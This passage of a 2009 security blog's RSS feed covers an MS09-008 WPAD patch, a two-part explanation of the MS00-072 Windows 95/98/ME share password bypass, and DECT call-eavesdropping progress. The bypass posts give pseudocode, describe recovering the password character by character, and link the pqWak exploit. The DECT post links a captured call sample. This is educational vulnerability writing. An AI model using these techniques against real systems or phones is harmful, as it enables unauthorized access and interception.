href=&quot;http://www.nu.nl/algemeen/1946292/huistelefoon-simpel-af-te-luisteren.html&quot;&gt;media&lt;/a&gt; &lt;a href=&quot;http://frontpage.fok.nl/nieuws/108990/-Gevoelige-telefoontjes-simpel-af-te-luisteren.html&quot;&gt;coverage&lt;/a&gt; &lt;a href=&quot;http://www.nos.nl/nos/artikelen/2009/04/art000001C9B89503B96211.html&quot;&gt;has&lt;/a&gt; &lt;a href=&quot;http://www.ad.nl/binnenland/3137853/Gevoelige_telefoontjes_simpel_af_te_luisteren.html&quot;&gt;arrived&lt;/a&gt;!</description><link>http://blog.teusink.net/2009/04/tonight-on-dutch-television-nova-het.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-7430487274702445747</guid><pubDate>Tue, 10 Mar 2009 20:56:00 +0000</pubDate><atom:updated>2009-03-10T22:05:43.564+01:00</atom:updated><title>Microsoft just released a patch for some WPAD vulnerabilities</title><description>Microsoft has just release three security bulletins, among them is MS09-008. This bulletin describes two DNS spoofing vulnerabilities, apparently caused by lack of caching of certain queries. The bulletin also fixes two WPAD related vulnerabilities: &quot;DNS Server Vulnerability in WPAD Registration&quot; and &quot;WPAD WINS Server Registration Vulnerability&quot;. Both vulnerabilities have been known for a long time, they are caused by the fact that a lot of organizations do not have WPAD servers. An attacker could register himself as the WPAD server at a WINS server or a DNS server (if dynamic updates are enabled) and start replying to WPAD requests. According to Microsoft the vulnerabilities are fixed by &quot;modifying the way that Windows WINS servers responds to WPAD and ISATAP name resolution requests&quot; and &quot;modifying the way that Windows DNS servers respond to WPAD name resolution requests&quot;. I wonder what that means...</description><link>http://blog.teusink.net/2009/03/microsoft-patch-for-wpad.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-5019354511396153965</guid><pubDate>Sun, 15 Feb 2009 20:25:00 +0000</pubDate><atom:updated>2009-02-15T21:28:12.700+01:00</atom:updated><title>Classic Bug: Windows 95/98/ME share password bypass (part 2)</title><description>In &lt;a href=&quot;http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share.html&quot;&gt;part 1&lt;/a&gt; of this article I described how MS00-072 could be used to bypass authentication on a Windows 95/98/ME share. In this part, I will describe how this can be used to extract the password.&lt;br /&gt;&lt;br /&gt;I described how a zero length password could bypass the authentication, but what if we want to know the actual password? This could be handy as the password may be used on other systems or if we want to use non-modified software to access the share after extracting the password.&lt;br /&gt;&lt;br /&gt;To accomplish this we simply try to guess the password one character at the time. Let me explain: instead of using a zero length password, we use the following:&lt;br /&gt;&lt;br /&gt; &lt;pre&gt;[password length=1][password=A]&lt;/pre&gt;&lt;br /&gt;Notice we do not NULL terminate our password, and do not add one to the password length. Lets revisit our verifyPassword function:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){&lt;br /&gt; for(int i=0; i&amp;lt;length; i++){&lt;br /&gt;  if (givenPassword[i] != realPassword[i]){&lt;br /&gt;   return false;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; return true;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;When we supply a password with a length of one, the function will compare our one character password (&#39;A&#39;) with the first character of the actual password. If they match, authentication is successful, if they do not, authentication fails. We can use this to determine the first character of the actual password. If authentication fails, we simply try the password &#39;B&#39; and so on.&lt;br /&gt;When we have found the first character (say it’s &#39;P&#39;), we add another character to the password and try ‘PA’ with a length of 2. When we found the second character we add a third one and so on. If we want to know if we have the full password we simply add a NULL byte instead of a character and if authentication succeeds, we have the complete password.&lt;br /&gt;&lt;br /&gt;This process is automated by the tool pqWak, which can be found &lt;a href=&quot;http://packetstormsecurity.org/0010-exploits/pqwak2.zip&quot;&gt;here&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;So is this bug still relevant? Well I think so, as it certainly isn’t the only one of its kind. In 2004 a very similar bug was found in MySQL (&lt;a href=&quot;[http://www.nextgenss.com/advisories/mysql-authbypass.txt]&quot;&gt;advisory&lt;/a&gt;), you could access a MySQL server without actually knowing the password.</description><link>http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share_15.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-8968265716011152138</guid><pubDate>Sun, 15 Feb 2009 20:22:00 +0000</pubDate><atom:updated>2009-02-15T21:28:42.818+01:00</atom:updated><title>Classic Bug: Windows 95/98/ME share password bypass (part 1)</title><description>Another oldie, this time &lt;a href=&quot;http://www.microsoft.com/technet/security/bulletin/MS00-072.mspx&quot;&gt;MS00-072&lt;/a&gt;: bypassing Windows 95/98/ME share level passwords. In Windows ME and earlier, you could share a folder and put a password on it, so only people in possession of the password could access your shared files over the network.&lt;br /&gt;&lt;br /&gt;This vulnerability is interesting because this authentication could by bypassed completely. Furthermore, you could use it to recover the actual password. The function to verify the password probably looked something like this pseudo code:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;bool verifyPassword(int givenLength, char * givenPassword, char * realPassword){&lt;br /&gt; for(int i=0; i&amp;lt;length; i++){&lt;br /&gt;  if (givenPassword[i] != realPassword[i]){&lt;br /&gt;   return false;&lt;br /&gt;  }&lt;br /&gt; }&lt;br /&gt; return true;&lt;br /&gt;}&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The  code does not look so bad at first glance. It takes three parameters, the supplied password and its length and the actual share password. Both passwords are NULL-terminated. The password length includes the NULL byte, so the password ‘12345’ would have a length of 6. It then starts to compare the two byte-by-byte. If any of bytes in the two passwords differ, the verification fails and access is denied.&lt;br /&gt;&lt;br /&gt;As I mentioned in the above paragraph, the supplied length of the password includes the NULL byte, so even an empty password would have a length of 1 (the NULL byte itself). This is where the problem lies. The relevant part of a legitimate authentication packet would look like this (password could be empty):&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;[password length+1][password][NULL byte]&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;So for an empty password, password length = 1 and the above function would simply compare 1 byte (the NULL byte). If the actual password is also empty (e.g. consists of only a NULL byte), access is granted.&lt;br /&gt;&lt;br /&gt;Now you might wonder what happens if the password length is set to 0 (this should never happen, as there is always a NULL byte). What happens is we bypass authentication. Looking at the above function, if givenLength is equal to 0, we never enter the for loop. Thus, we never compare any characters and authentication is always successful.&lt;br /&gt;&lt;br /&gt;In &lt;a href=&quot;http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share_15.html&quot;&gt;part 2&lt;/a&gt; I will describe how an exploit called pqWak uses this bug to determine the password remotely.</description><link>http://blog.teusink.net/2009/02/classic-bug-windows-9598me-share.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-7971789192074433033.post-2225056288873073998</guid><pubDate>Sun, 15 Feb 2009 20:10:00 +0000</pubDate><atom:updated>2009-02-15T21:15:06.667+01:00</atom:updated><title>Some DECT updates</title><description>The dedected team has gotten the Type III cards to work! I tested one of mine today (an Ascom Voo:doo) and it seems to be working properly. Meanwhile the prices on Type II cards are still &lt;a href=&quot;http://shop.ebay.nl/items/?_nkw=com+on+air+pcmcia&quot;&gt;pretty&lt;/a&gt; &lt;a href=&quot;http://www.hardware-oase.de/index.php/cPath/6_37/category/COM-ON-AIR.html&quot;&gt;high&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;In a previous post I mentioned a patch which allows capturing directly to .wav files, so conversion is no longer necessary. A newer version of &lt;a href=&quot;http://lists.gnumonks.org/pipermail/dedected/2009-January/000205.html&quot;&gt;this patch&lt;/a&gt; was posted about a month ago. This version also allows live voice playing. I tested the patch last weekend but on my laptop the live voice playing feature ‘stutters’ a bit (could be because I also applied the patch from &lt;a href=&quot;https://dedected.org/trac/changeset/44&quot;&gt;r44&lt;/a&gt;). The capturing directly to .wav files works great though. I haven’t posted a sample with good audio quality so far, so &lt;a href=&quot;http://www.teusink.net/0800call.wav&quot;&gt;here&lt;/a&gt; is one to get an idea of the sound quality (some random English voice menu). There are some &lt;a href=&quot;http://lists.gnumonks.org/pipermail/dedected/2009-January/000090.html&quot;&gt;manual decoding hints&lt;/a&gt; on the mailing lists, I’ll have to look up which method the patch uses.&lt;br /&gt;&lt;br /&gt;Siemens Germany has posted a list of Gigaset phones which use encryption &lt;a href=&quot;http://gigaset.com/shc/0,1935,de_de_0_167507_rArNrNrNrN,00.html&quot;&gt;here&lt;/a&gt; (I could not find it on the Dutch or English versions of gigaset.com). The Gigaset 4010 phone I was able to eavesdrop on is simply not on the list.</description><link>http://blog.teusink.net/2009/02/some-dect-updates.html</link><author>noreply@blogger.com (Niels Teusink)</author><thr:total>0</thr:total></item></channel></rss>